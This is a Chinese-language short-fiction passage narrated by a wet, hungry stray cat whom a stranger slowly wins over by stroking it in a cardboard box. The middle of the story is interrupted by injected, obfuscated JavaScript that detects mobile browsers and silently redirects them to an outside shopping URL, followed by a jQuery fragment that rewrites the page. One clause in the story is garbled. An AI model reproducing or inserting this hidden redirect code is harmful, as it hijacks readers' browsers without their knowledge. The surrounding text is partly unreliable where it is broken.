等待。
等待让时间变得粘稠，让雨声变成单调的背景轰鸣。我的身体还在颤抖，但已经不仅仅是因为冷。鼻尖上那一点转瞬即逝的温暖，像一颗不该存在的火星，烫着我的记忆。我舔了舔鼻头，试图找回那触感，但它早已被雨水和自身的潮湿取代。只剩下……印象。
那个人类走了。脚步声彻底被雨吞没。
我应该离开这个纸箱。这里现在充满了他的气味——手掌的气味，干净布料底下那点苦涩的根茎味，还有雨水从他身上带下来的、属于街道和远处空间的气息。陌生。危险。一个知道我在哪里的生物离开了，他可能会回来，带着别的什么，更多人，或者……
但我动不了。疲惫像湿透的毛皮一样紧紧裹着我，沉甸甸地把我钉在这块勉强干燥的避难所。肚子里的空洞持续发出无声的嚎叫。离开，意味着重新投入那差不多了温情将毫无收获，而针扎般的雨和彻骨的黑暗。至少这里，有顶。
我把自己蜷得更紧，下巴搁在湿漉漉的前爪上，眼睛半眯着，盯着箱口那片被远处路灯染成昏黄的光斑。耳朵像两个独立的雷达，360度旋转，过滤着雨声：滴答、哗啦、远处车轮划过积水的嘶声……以及，可能的、再次靠近的脚步声。
不知过了多久，就在我几乎要被疲惫和寒冷的麻木拖入睡梦边缘时，耳朵猛地一抖。
脚步声。
和之前一样的节奏，沉重，潮湿，由远及近。但这次……似乎更慢？还夹杂着另一种声音，一种轻微的、有规律的沙沙声，像是什么柔软的东西在摩擦。
他又回来了。
我瞬间清醒，每一块肌肉都绷紧了。缩进角落，瞳孔放大，尽可能让自己隐形。影子再次笼罩箱口。这次，那身影蹲得更低，几乎与纸箱齐平。我又看到了那双眼睛，在昏暗光线下，颜色很深，像两潭静止的水。没有波动，没有明显的情绪。只是……看着。
然后，那沙沙声的来源出现了。他另一只手——不是之前摊开的那只——拿着一个东西。一个白色的、方方正正的、散发着强烈陌生气味的物体。我的鼻子疯狂抽动。纸？但不一样。更光滑，有种化学品的味道。他把那东西放在纸箱旁边的湿地上，雨水立刻打湿了它的边缘。
接着，他做了一个让我完全无法理解的动作。
他把那只之前摊开过的手，又伸了进来。这次，没有停在中间。它缓慢地、稳定地、朝着我蜷缩的方向移动。
我的警告呼噜声瞬间爆发，比之前更响，更紧绷。背部高高弓起，尾巴像根棍子一样僵硬地拍打着纸箱内壁。走开！我龇出牙齿，尽管我知道这对人类可能没什么威慑力。
手停住了。离我的脸只有几寸。我能清晰看到皮肤上的纹路，指甲修剪得很短，边缘干净。雨水顺着手腕流下，滴落在纸箱底部，洇开一小片深色。
然后，他用一种低沉、平稳、几乎没有起伏的语调，对着我——或者说，对着纸箱里的空气——说了几个音节。我听不懂。完全听不懂。但那声音的质地，和雨声、和远处城市的嗡嗡声混在一起，奇怪地没有激起我更强烈的攻击欲。它不是尖锐的，不是恐吓的。它只是……存在着，像背景音的一部分。
手又动了。这次不是向前，而是微微转了方向，用手背，极其缓慢地，靠近我的脸颊一侧。
我猛地向后一缩，后脑勺撞在纸箱壁上，发出闷响。但空间有限，我退无可退。那手背，带着微温，带着比掌心更淡的、属于他自己的气味，还有雨水的清冽，轻轻擦过了我耳朵尖上湿透的绒毛。
一触。
温暖再次袭来。不是火焰般的灼热，是恒定的、生物体的暖意，透过我冰冷湿透的皮毛，微弱但清晰地传递到皮肤。
我没有攻击。我僵在那里，呼噜声变成了断续的、困惑的咕噜。为什么？这是什么？
他似乎把这当作一种默许（虽然我完全没有默许任何事！）。手背离开了，但紧接着，那只手翻转过来，掌心向上，手指微微蜷起，形成一个凹槽般的形状，再次靠近。这次，目标是……我的下巴？
我的头不由自主地微微仰起一点，鼻子追随着那温暖气味的来源。当他的手指指关节轻轻蹭过我下巴下方那处总是自己舔不到的、有点痒的绒毛时，一种完全陌生的感觉电流般窜过我的脊柱。
那是一种……触碰。不是风雨的击打，不是其他猫的抓挠或推挤，不是粗糙地面的摩擦。是一种有目的的、轻柔的、带着温度的接触。
我的喉咙里，警告的呼噜声奇异地减弱了，取而代之的是一种低沉的、我自己都未曾听过的、从胸腔深处涌上来的震动。一开始很轻，断断续续，像一台生锈的引擎试图启动。
他手指的触碰没有停。很轻，很有耐心，从下巴延伸到脸颊侧面，绕过耳朵根部（那里特别敏感，我猛地抖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420530|200829||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一下，但他立刻放轻了力道），然后沿着脖颈的弧度，梳理着纠结湿透的皮毛。
我的眼睛不由自主地眯了起来。那种震动越来越明显，从喉咙蔓延到整个胸膛。呼噜声。我竟然在呼噜？在这个陌生人类的触碰下？警惕心在尖叫，但身体……身体背叛了我。那触碰带来的舒适感，对寒冷僵硬肌肉的舒缓，是如此的原始而直接，淹没了理智的警告。
他的动作一直很慢，很轻，避免突然的动作。另一只手在外面，拿起了那个白色的方东西，我听到撕裂的声音。然后，他把撕开的东西递到了箱口附近。一股更浓烈、更新鲜的化学品气味传来，还有一点……织物的味道？
他把那东西——现在变成了一张更大的、柔软的白色薄片——轻轻盖在了我的背上。
我惊得一颤，差点跳起来。但白色薄片只是覆盖着，没有重量，而且……它迅速地吸走了一些皮毛表面的水分，带来一种奇异的、相对干燥的感觉。虽然还是很冷，但和之前湿透的沉重相比，已经是天壤之别。
他的手继续梳理着我脖颈和肩胛的毛，隔着那层薄薄的东西。呼噜声已经不受我控制，持续地从我喉咙里涌出，在狭小的纸箱里回荡。我感到一种深层的、几乎令我羞愧的放松感，正顺着他的指尖蔓延到我的四肢百骸。饥饿和寒冷依然存在，但被这种陌生的舒适感推到背景里。
他不再说话，只是重复着那个轻柔的、带着温度的梳理动作。雨声似乎也小了些，变成了更温和的背景音。纸箱外，是他存在的气息；纸箱内，是他的手带来的、颠覆我所有认知的触感。
我不知道这是什么。是陷阱的诱饵吗？是某种我不理解的人类仪式吗？还是说……这个世界上，真的存在一种触碰，不是为了驱赶，不是为了伤害，也不是为了获取什么，而仅仅是为了……触碰本身？
我不知道。我的脑子被寒冷、饥饿和这突如其来的舒适弄得一团糟。
我只是把下巴搁在重新变得温暖一点的爪子上，眯着眼睛，任由那陌生的手指梳理着我打结的毛，胸腔里发出的呼噜声越来越大，越来越平稳，像一台终于顺畅运转起来的小小发动机，在这个雨夜，在这个湿冷的纸箱里，对着一个完全陌生的人类，轰然作响。
那双手的温度，透过湿冷的皮毛，渗了进来。它没有驱散所有的寒冷，但它在我冰冷的荒野世界里，划下了一道我无法理解的、温暖的痕迹。